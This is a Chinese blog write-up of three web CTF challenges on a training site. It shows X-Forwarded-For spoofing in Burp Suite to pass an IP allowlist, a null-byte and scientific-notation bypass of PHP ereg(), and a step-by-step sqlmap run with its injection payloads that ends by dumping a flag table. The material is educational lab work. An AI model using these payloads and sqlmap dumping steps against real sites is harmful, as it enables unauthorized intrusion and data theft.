

CTF

原创

deep 于 2018-03-31 13:30:28 发布 491 收藏

版权声明：本文为博主原创文章，遵循 [CC 4.0 BY-SA](#) 版权协议，转载请附上原文出处链接和本声明。

本文链接：<https://blog.csdn.net/h1012946585/article/details/79768113>

版权

貌似有点难

解题链接：<http://ctf5.shiyanbar.com/phpaudit/>

Tips [View the source code](#)

PHP代码审计

错误！你的IP不在允许列表之内！

[View the source code](#)

```
<?php
function GetIP() {
    if(!empty($_SERVER["HTTP_CLIENT_IP"]))
        $cip = $_SERVER["HTTP_CLIENT_IP"];
    else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
        $cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
    else if(!empty($_SERVER["REMOTE_ADDR"]))
        $cip = $_SERVER["REMOTE_ADDR"];
    else
        $cip = "0.0.0.0";
    return $cip;
}

$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
    echo "Great! Key is *****";
}
else{
    echo "错误！你的IP不在访问列表之内！";
}
?>
```

<https://blog.csdn.net/h1012946585>

看到这个界面是代码审计题，那就直接看代码：

如果HTTP_CLIENT_IP不是空，就把它复制给cip

以此类推.....

这时候就就想如何更改指定ip

百度一下知道添加 X-Forwarded-For 可以 进行修改客户端ip地址，

以下是官方解释：

这一HTTP头一般格式如下：

X-Forwarded-For: client1, proxy1, proxy2, proxy3

其中的值通过一个 逗号+空格 把多个IP地址区分开，最左边(client1)是最原始客户端的IP地址，代理服务器每成功收到一个请求，就把 请求来源IP地址 添加到右边。在上面这个例子中，这个请求成功通过了三台代理服务器： proxy1, proxy2 及 proxy3。请求由client1发出，到达了 proxy3(proxy3可能是请求的终点)。请求刚从client1中发出时，XFF是空的，请求被发往proxy1；通过proxy1的时候， client1被添加到XFF中，之后请求被发往proxy2;通过proxy2的时候， proxy1被添加到XFF中，之后请求被发往proxy3；通过proxy3时， proxy2被添加到XFF中，之后请求的去向不明，如果proxy3不是请求终点，请求会被继续转发。

鉴于伪造这一字段非常容易，应该谨慎使用X-Forwarded-For字段。正常情况下XFF中最后一个IP地址是最后一个代理服务器的IP地址，这通常是一个比较可靠的信息来源。

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

Intercept HTTP history WebSockets history Options

Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

Forward Drop Intercept is on Action

Comment this item

Raw Params Headers Hex

```
GET /phpaudit/ HTTP/1.1
Host: ctf5.shiyanbar.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://www.shiyanbar.com/ctf/32
Cookie: Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522401308,1522407918,1522421161,1522470998;
Hm_cv_34d6f7353ab0915a4c582e4516dffbc3=1*visitor*137651%2CnickName%3AEmpty%2C; Hm_lvt_407473d433e871de861cf818aa1405a1=1522410938;
Hm_lpv_34d6f7353ab0915a4c582e4516dffbc3=1522471013; PHPSESSID=85i72qhsc5ga0alj7rrcvisd7
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
```

0 matches

抓包，

Burp Suite Professional v1.7.26 - Temporary Project - licensed to Larry_Lau - Unlimited by mxcx@fosec.vn

Burp Intruder Repeater Window Help

Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts

Intercept HTTP history WebSockets history Options

Request to http://ctf5.shiyanbar.com:80 [106.2.25.10]

Forward Drop Intercept is on Action

Comment this item

Raw Params Headers Hex

Name	Value	
GET	/phpaudit/ HTTP/1.1	Add
Host	ctf5.shiyanbar.com	Remove
User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0	Up
Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	Down
Accept-Language	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2	
Referer	http://www.shiyanbar.com/ctf/32	
Cookie	Hm_lvt_34d6f7353ab0915a4c582e4516dffbc3=1522401308,1522407918,1522421161,1522470998...	
Connection	close	
Upgrade-Insecure-Requests	1	
Cache-Control	max-age=0	
X-Forwarded-For	1.1.1.1	

0 matches

添加X-Forwarded-For 1.1.1.1

然后释放；

PHP代码审计

Great! Key is SimCTF{daima_shengji}

[View the source code](#)

<https://blog.csdn.net/h1012946585>

得到flag{};

大功告成。

Once More

hint: ereg()函数有漏洞哩；从小老师就说要用科学的方法来算数。

解题链接: <http://ctf5.shiyanbar.com/web/more.php>

[View the source code](#)

```
<?php
if (isset ($_GET['password'])) {
    if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
    {
        echo '<p>You password must be alphanumeric</p>';
    }
    else if (strlen($_GET['password']) < 8 && $_GET['password'] > 99999999)
    {
        if (strpos ($_GET['password'], '*-*') !== FALSE)
        {
            die('Flag: ' . $flag);
        }
        else
        {
            echo('<p>*-* have not been found</p>');
        }
    }
    else
    {
        echo '<p>Invalid password</p>';
    }
}
```

<https://blog.csdn.net/h1012946585>

一道代码审计，看代码输入必须是数字和字符；

而且字符串长度小于8；末尾出现*-* ；

那就是100000000，但是好像超过8了，怎么办呢？题目提示用科学的方法计数，那就科学记数法呗。

一段尝试后发现

ctf5.shiyanbar.com/web/more.php?password=1e8%00*-* <https://blog.csdn.net/h1012946585>

可用。

ok

这个看起来有点简单

很明显。过年过节不送礼，送礼就送这个

解题链接：<http://ctf5.shiyanbar.com/8/index.php?id=1>

打开网页，发现可以注入。

那就sqlmap注入吧

```
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1
```

```
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: id=1 AND 9490=9490

  Type: AND/OR time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind
  Payload: id=1 AND SLEEP(5)

  Type: UNION query
  Title: MySQL UNION query (random number) - 2 columns
  Payload: id=1 UNION ALL SELECT CONCAT(0x71707a6b71,0x597764696b4c52646473766e616c69447a6a7373435069666967567952534a657275696273487368,0x7162707671),6072#
---
[13:20:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: PHP 5.3.29, Apache 2.4.18
back-end DBMS: MySQL >= 5.0.12 https://blog.csdn.net/h1012946585
```

接下来一顿操作。

```
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 --dbs
```

```
[13:22:18] [INFO] fetching database names
available databases [3]:
[*] information_schema
[*] my_db
[*] test https://blog.csdn.net/h1012946585
```

```
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db --tables
```

```
Database: my_db
[2 tables]
+-----+
news
thiskey
+-----+ https://blog.csdn.net/h1012946585
```

```
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey --columns
```

```
[18:27:32] [INFO] Fetching
Database: my_db
Table: thiskey
[1 column]
+-----+
| Column | Type |
+-----+
| k0y    | text |
+-----+
log.csdn.net/h1012946585
[18:27:33] [INFO] Fetching
```

```
sqlmap.py -u http://ctf5.shiyanbar.com/8/index.php?id=1 -D my_db -T thiskey -C k0y --dump
```

```
[18:28:47] [INFO] ana
Database: my_db
Table: thiskey
[1 entry]
+-----+
| k0y    |
+-----+
| whatiMyD9ldump |
+-----+
csdn.net/h1012946585
[18:28:47] [INFO] Fetching
```

这难道就是传说中的flag?

就分享这么多了，大家共同进步。